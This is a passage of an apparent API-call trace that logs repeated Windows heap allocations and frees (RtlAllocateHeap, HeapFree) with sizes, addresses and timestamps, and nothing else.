(in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0113.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.546] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.546] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.547] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.547] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.548] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.548] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.548] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.548] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.548] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.548] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.548] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.548] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.548] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.548] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.548] HeapFree (in: hHeap=0x5010000, 